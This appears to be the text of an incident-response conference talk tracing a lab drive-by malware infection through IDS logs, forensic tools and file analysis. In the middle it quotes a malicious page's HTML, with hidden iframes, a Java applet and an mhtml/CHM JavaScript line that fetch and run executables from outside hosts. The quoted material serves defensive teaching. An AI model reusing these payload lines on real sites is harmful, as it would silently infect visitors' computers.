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Who I Am
• I Work for Telos 
• Currently lead a Computer Incident 

Response Team 
• 3+ years doing Incident Response and 

Forensics
• 7 Years of dedicated security work
• Certs: CISSP, NSTC, CEH, ACSA
• Member of the Hacker Pimps



Disclaimers
• IDS data has been modified

– IP address, Time Stamps, and Payload
– Data is still relevant… I just don’t have bro at home

• I used EnCase
– Brian Carrier’s (formerly of @stake) tools are great and free (as is his book, however not free but worth the 

price) 
• The Sleuth Kit (http://www.digital-evidence.org/)
• Book is VERY technical; however a good read
• http://www.opensourceforensics.org/tools/

– Many Knoppix Forensic distros out there
• http://www.livecdlist.com/

– BartPE
• Can load Windows tools into BartPE with interesting results.

• Vmware is not always a good way to do this…
– Some malware is Vmware aware

• Some code won’t execute inside Vmware…
• Some code will attack Vmware if it detects it

– SandNets (shmoocon 2006 talk)
• http://www.lurhq.com/truman/
• www.Shmoocon.org

– Microsoft Virtual PC may be a good option… I just am too lazy to install it

• EnCase can natively work with a Vmware disk images without having to actually acquire it 
manually. 

– Saves a lots of time
– Saves a lot of disk space

http://www.digital-evidence.org/
http://www.opensourceforensics.org/tools/
http://www.livecdlist.com/
http://www.lurhq.com/truman/
http://www.shmoocon.org/


Network Diagram (the lab)



Tools used in this talk
• Bro IDS / Snort IDS
• EnCase Enterprise
• Vmware Workstation (with winxp sp1 and IE)
• Wget / firefox
• Unix timestamp conversion site (url later)
• My buddy rexswain (url later)
• Sysinternals Process Explorer and TCP View
• Netstat
• Pasco
• Jotti / Virus Total
• Ethereal
• Hex Editor



Resources (IDS and Books)
• IDS used for this incident:  Bro & Snort

– Captures first part of all web sessions (bro)
– Alerts on certain events (bro & snort)

• Exe, wmf, vbs…
– http://www.bro-ids.org/
– http://www.snort.org/
– http://www.bleedingsnort.com/

• Others (free but not used in this case) 
– Argus and Sguil (front-end for IDS Data)

• Books:
– http://www.taosecurity.com/books.html
– Internet Forensics

• http://www.amazon.com/gp/product/059610006X/002-1914404- 
9388824?v=glance&n=283155

– Snort 2.1
• http://www.amazon.com/gp/product/1931836043/qid=1141538146/sr=2- 

1/ref=pd_bbs_b_2_1/002-1914404-9388824?s=books&v=glance&n=283155

http://www.bro-ids.org/
http://www.snort.org/
http://www.bleedingsnort.com/
http://www.taosecurity.com/books.html
http://www.amazon.com/gp/product/059610006X/002-1914404-9388824?v=glance&n=283155
http://www.amazon.com/gp/product/059610006X/002-1914404-9388824?v=glance&n=283155
http://www.amazon.com/gp/product/1931836043/qid=1141538146/sr=2-1/ref=pd_bbs_b_2_1/002-1914404-9388824?s=books&v=glance&n=283155
http://www.amazon.com/gp/product/1931836043/qid=1141538146/sr=2-1/ref=pd_bbs_b_2_1/002-1914404-9388824?s=books&v=glance&n=283155


BRO Data
<<<>>>> 192.168.17.128 possibly detected with WMF exploit. 

1141481943.750 %11272 > REFERER:  http://mom69.com/?ft=oldwomens.net
1141481943.750 %11272 > ACCEPT-LANGUAGE:  en-us 
1141481943.750 %11272 > USER-AGENT:  Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) 
1141481943.750 %11272 < CONTENT-LENGTH:  1342 
1141481943.750 %11272 < CONTENT-TYPE:  text/html 
1141481943.750 %11272 www -> 192.168.17.128/tcp 85.249.23.117/80/tcp L GET /dl/adv470.php (200 "OK" 
[1342])
1141481943.562 %11272 > HOST:  toolbarbucks.biz
1141481943.562 %11272 www -> 192.168.17.128/tcp 85.249.23.117/80/tcp L GET /dl/xpladv799.wmf <no 
reply>
1141481943.562 %11272 < DATE:  Sat, 04 March 2006 14:19:03  (note this is reported by the server and 
not always correct)
1141481943.562 %11272 < SERVER:  Apache/2.0.54 (Fedora)
1141481943.562 %11272 < CONTENT-LENGTH:  16036
1141481943.562 %11272 < CONTENT-TYPE:  video/unknown
1141481943.562 %11272 < X-PAD:  avoid browser bug
1141481943.729 %11272 www -> 192.168.17.128/tcp 85.249.23.117/80/tcp L GET /dl/java.jar (200 "OK" 
[16036])
1141481943.953 %11272 > REFERER:  http://toolbarbucks.biz/dl/adv470.php
1141481943.953 %11272 > ACCEPT-LANGUAGE:  en-us
1141481943.953 %11272 > USER-AGENT:  Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (xp was 
vulnerable to WMF)
1141481943.953 %11272 > HOST:  toolbarbucks.biz
1141481943.953 %11272 < DATE:  Sat, 04 March 2006 14:19:03 
1141481943.953 %11272 < SERVER:  Apache/2.0.54 (Fedora)
1141481943.953 %11272 < CONTENT-LENGTH:  4326
1141481943.953 %11272 < CONTENT-TYPE:  text/html
1141481943.953 %11272 www -> 192.168.17.128/tcp 85.249.23.117/80/tcp L GET /dl/loaderadv799_2.exe 
(200 "OK" [4326])

http://mom69.com/?ft=oldwomens.net


What do we know?
• Exploit came from: toolbarbucks.biz
• Date and time of activity: 1141481943.562

– Use this site to convert Unix timestamp to human time
– http://www.e-calc.net/calc.php?ca=8&c=41&tid=443

• We know a WMF and an EXE dropped…
• Referring site: http://mom69.com/?ft=oldwomens.net
• This box probably got owned….

– If you were to look at flow data you would see lots of other files being 
downloaded

• At this point I would usually look for session / flow data…
– Lancope, argus and/or more bro traffic

http://www.e-calc.net/calc.php?ca=8&c=41&tid=443
http://mom69.com/?ft=oldwomens.net


Recon on the Site
• What if you want to view the site safely…

– http://www.rexswain.com/httpview.html
• Can’t do https or web servers on odd ports

– Firefox inside a vmware (VM snapshots rock)
– Wget the contents of the site

• Know javascript or be able to look it up with 
google ;)

• The site
– Tells us what to look for on the box
– Tells us how the exploit got dropped

http://www.rexswain.com/httpview.html


Frame 1298 (76 bytes on wire, 76 bytes captured)
Arrival Time: Mar  4, 2006 14:19:03.938002000   //(ethereal time, not website time)

HTTP/1.1 200 OK
Request Version: HTTP/1.1
Response Code: 200

Date: Sun, 05 Mar 2006 03:17:16 GMT
Server: Apache/2.0.54 (Fedora)
X-Powered-By: PHP/5.0.4
Set-Cookie: dial=uniq; expires=Mon, 06 Mar 2006 03:17:16 GMT
Content-Length: 1241
Connection: close
Content-Type: text/html

Line-based text data: text/html
<html>
<body>
<iframe src="xpladv799.wmf" width=1 height=1></iframe> //1st exploit
<applet archive="java.jar" code="GetAccess.class" width=1 height=1><param name="ModulePath"          

value="http://traffweb.biz/dl/loaderadv799_2.exe"></applet> //2nd exploit

<iframe width=1 height=1 border=0 frameborder=0 src=fillmemadv799.htm></iframe> //site with encoded javascript
<iframe width=1 height=1 border=0 frameborder=0 src=fillmemadv799.htm></iframe> // “
<iframe width=1 height=1 border=0 frameborder=0 src=fillmemadv799.htm></iframe> // “
<iframe width=1 height=1 border=0 frameborder=0 src=fillmemadv799.htm></iframe> // “
<iframe width=1 height=1 border=0 frameborder=0 src=fillmemadv799.htm></iframe> // “
<iframe width=1 height=1 border=0 frameborder=0 src=fillmemadv799.htm></iframe> // “
<iframe width=1 height=1 border=0 frameborder=0 src=fillmemadv799.htm></iframe> // “
<iframe width=1 height=1 border=0 frameborder=0 src=fillmemadv799.htm></iframe> // “
<iframe width=1 height=1 border=0 frameborder=0 src=bag.htm></iframe>
<applet width=1 height=1 ARCHIVE=loaderadv799.jar code=Counter></APPLET>
<SCRIPT LANGUAGE="JavaScript">
obj = "<object data=\"ms-its:mhtml:file"; // older os’s get to play too
obj1 = "://C:\\nosuch.mht!http://traffweb.biz/dl/adv799/x.chm::/x.htm\" type=\"text/x-scriptlet\"></object>";
document.write(obj+obj1);
</script>
</body>



We now know…

• The site used an IFRAME to drop the 
exploits

• The names of the files downloaded
• Site drops an old school mhtml exploit… 

(win95/98/2k still can feel the love)

• Oh… and it also tries to drop a bad CHM 
(again with the old school love…)

• This site is just nasty



Next Step?

• Locate the machine that got infected…
– Not always trivial on large networks

• How to locate
– Nbtstat, nslookup, ip subnet its in, nmap it, 

whois…
• Once the box is found, analysis can start. 



Prior to being infected…



Now…

Project1… that’s just lazy



And some more..



Now what?

• OK, we know there are some nasties on 
the box because of the processes running

• EnCase is very helpful
– Note…EnCase Enterprise can view current processes and network 

connections, however I don’t have the right version at home to do this… 
and I wasn’t going into work on Sat.  But just know EnCase can do it all 
with one app.

• Sysinternals tools rock and are free
– http://www.sysinternals.com/
– Process explorer, file explorer, tcp view… 

look around there is a lot there

http://www.sysinternals.com/


Where do the files hide?
• Clone the drive first if not using a write-blocker (if it might 

go to court)
– Write blockers are cheap if you plan to do this often
– dd with md5 hashes (http://dcfldd.sourceforge.net/)
– Only work off the copy 

• If doing this manually begin here:
– Internet Explorer Cache
– C:\windows\prefetch (only xp and 2k3)
– C:\windows\system32
– C:\
– Index.dat files (IE history)

• Also search for files created or modified around the time 
of the incident.

http://dcfldd.sourceforge.net/


With EnCase
• All files were hashed when the pc was built (prior 

to exploit)…If you have a standard build do this!
– This means we know every file that is clean based on 

hash value (rules out thousands of files in seconds)
– I tried to do some surfing prior to the ownage so that 

the file system was full of files modified around the 
time of the event

• Hash sets can save you or screw you
– NSRL hashes: http://www.nsrl.nist.gov/
– Be careful who you take hashes from… know they 

are accurate.

http://www.nsrl.nist.gov/


Files in Cache



Files in Prefetch



WOW…
• 94 files created
• 15 active processes 
• IE Crashed 
• New IE toolbar
• Program telling you your infected
• Installs “spysheriff” when you click the popup 

telling you that your infected 
– Wants you to pay to clean the files it finds

• Keylogger (more on this later)
• Steals SAM file…



Traffic after the sploit…
• Download of a 2mb php file that is not php…

– (Usually another EXE)
• Port scans and tries NetBIOS to other IP’s
• DDoS bot
• Mail bot
• Odd traffic to port 8080 on external ip’s
• Uses google to do some searches
• TONS of mail server lookups
• Oddly enough… not a bit of IRC traffic… (this is 

disappointing)



[**] [122:3:0] (portscan) TCP Portsweep [**]
03/04-18:48:52.154768 68.227.200.* -> 66.246.72.85
PROTO255 TTL:0 TOS:0x0 ID:27047 IpLen:20 DgmLen:168 DF

[**] [122:3:0] (portscan) TCP Portsweep [**]
03/04-18:50:08.915091 68.227.200.* -> 66.246.72.85
PROTO255 TTL:0 TOS:0x0 ID:33075 IpLen:20 DgmLen:168 DF

[**] [122:3:0] (portscan) TCP Portsweep [**]
03/04-18:50:48.013176 68.227.200.* -> 66.246.72.85
PROTO255 TTL:0 TOS:0x0 ID:36273 IpLen:20 DgmLen:170 DF

Snort Alerts





Not bad… they detected themselves… however if you click yes they want 
money to fix what they found… bastards…







Additional Steps
• Pull History file (index.dat)

– EnCase does history / cache correlation
• Which file goes with which site
• How often was the site visited 

– Pasco (free) can read index.dat files 
• http://www.foundstone.com/resources/proddesc/pasco.htm

– See where the user was prior to getting infected
– Block sites that were involved

• Jotti / VirusTotal (more on this in a min)
• File Analysis 

– What files are active and what are they doing

http://www.foundstone.com/resources/proddesc/pasco.htm


File Analysis
• Jotti

– http://virusscan.jotti.org/
– 15 AV scanners
– Web based and free

• Virus Total
– http://www.virustotal.com/
– 24 AV Scanners
– Web based and free

• Offensive Computing
– http://www.offensivecomputing.net/
– Strings 
– Disassembly
– Basic report

http://virusscan.jotti.org/
http://www.virustotal.com/
http://www.offensivecomputing.net/


Jotti







Manual File Analysis
• Found a file named SSL which is the Sam File

– Defeat this by using syskey…
• Drops a new Host file... 
• Many files packed with aspack, upx, fsg, custom packers….

– EnCase has scripts to detect this, however a quick look in a hex editor 
shows most packers.

• Many files extensions are renamed to hide their function.
– EnCase does file signature analysis but then again a hex editor can 

show this quickly… look for MZ in the first bytes of a file for exe’s
– http://www.garykessler.net/library/file_sigs.html

• Good list of file signatures
• Keylogger capture file (next slide)
• One of the file references an install of ICQ…

– It happened after a reboot…
– Did not notice any ICQ traffic in ethereal…I got bored…

http://www.garykessler.net/library/file_sigs.html


=====================Ethereal: Save Capture File As ; Module:C:\Program Files\Ethereal\ethereal.exe
traffic Enter trtr Backspace Backspace affic txt
===================== Module:C:\Program Files\Internet Explorer\IEXPLORE.EXE
ok, i got it nice and fucked Enter lol
Enter and i have soem traffic  Backspace  Backspace
Backspace  Backspace Backspace Backspace Backspace Backspace Backspace Backspace
Backspace  Backspace Backspace Backspace Backspace Backspace Backspace Backspace
Backspace  Backspace Backspace Backspace Backspace Backspace Backspace Backspace
Backspace  Backspace Backspace too n Backspace bad my snor

t didn't see shit Enter i shoulud Backspace 
Backspace  Backspace d have.... Enter but i have e

thera Backspace eal logs Enter so same diffe
rence Enter ok, shutting down to do an
alysis Enter 
=====================Save TCPView Info... ; Module:C:\Documents and Settings\temp\Local 
Settings\Temp\Temporary Directory 1 for TcpView.zip\Tcpview.exe
tcp view tcp view  Enter  Enter 2 Enter

Keylogger file…



File System Conclusions
• IFrame used to drop initial wmf and exe from another site

– Jar file and other web site with escaped and encoded javascript to drop more 
files.  Initial files are merely Trojan downloader's.

• 94 files dropped, ~15 new processes
– Captured sam file
– keylogger
– spam agent
– ddos agent
– Port scanner
– installed spysheriff
– Had old school exploits so 98/2k didn’t get left out
– Some unexplained data transfers 
– ~90% of exe and dll files are packed
– Many files have incorrect file extensions
– Lots of traffic to 209.160.64.19 and 66.246.72.85 

• My machine became a proxy for their traffic
– Malware writer was lazy (doesn’t delete files after use and is not stealthy)



After the case is solved
• In the real world this box would be pulled from 

the network immediately after the compromise 
was confirmed.

• Pull any critical data off the box 
• Rebuild from trusted media or image
• Train the user (surfing habits)
• Block offending sites at gateways
• Make sure the box is better patched

– WMF, CHM, MHTML have all been patched
• Write a report about the incident



The Near (current) Future
• Malware is Vmware aware

– Sasser
– http://www.offensivecomputing.net/dc14/vmdetect.cpp

• Vmdetect by the guys at offensive computing
– http://www.honeynet.org/papers/bots/botnet-code.html
– Kills itself
– Kills the VM

• Malware deletes itself after it does what it needs…
– Quick response time is critical
– Logs will save you

• 0-days and spear phishing
– Spear fishing to get you to click the link
– 0-day to own the box

• Covert malware that uses rootkit tech
– Is nearly invisible to forensic tools
– Is not invisible to the network (if you know what to look for)

• DNS
– Kaminsky is smart
– Its not that hard to do…

• ICMP
• HTTPS

– How is legit traffic determined
– Encrypted and easily fools IDS

• AV sux… don’t trust it
• Most malware doesn’t currently work in 64bit windows

http://www.offensivecomputing.net/dc14/vmdetect.cpp
http://www.honeynet.org/papers/bots/botnet-code.html


The Distant (we hope) Future

• Completely undetectable rootkits (with disk 
analysis)
– Firmware Rootkits….

• On the motherboard
• On the video card
• On the hard drive

– Shaddow Walker (Jamie Butler)
• Mitigation…

– Firmware checksums
– TPM (trusted computing)



Questions?
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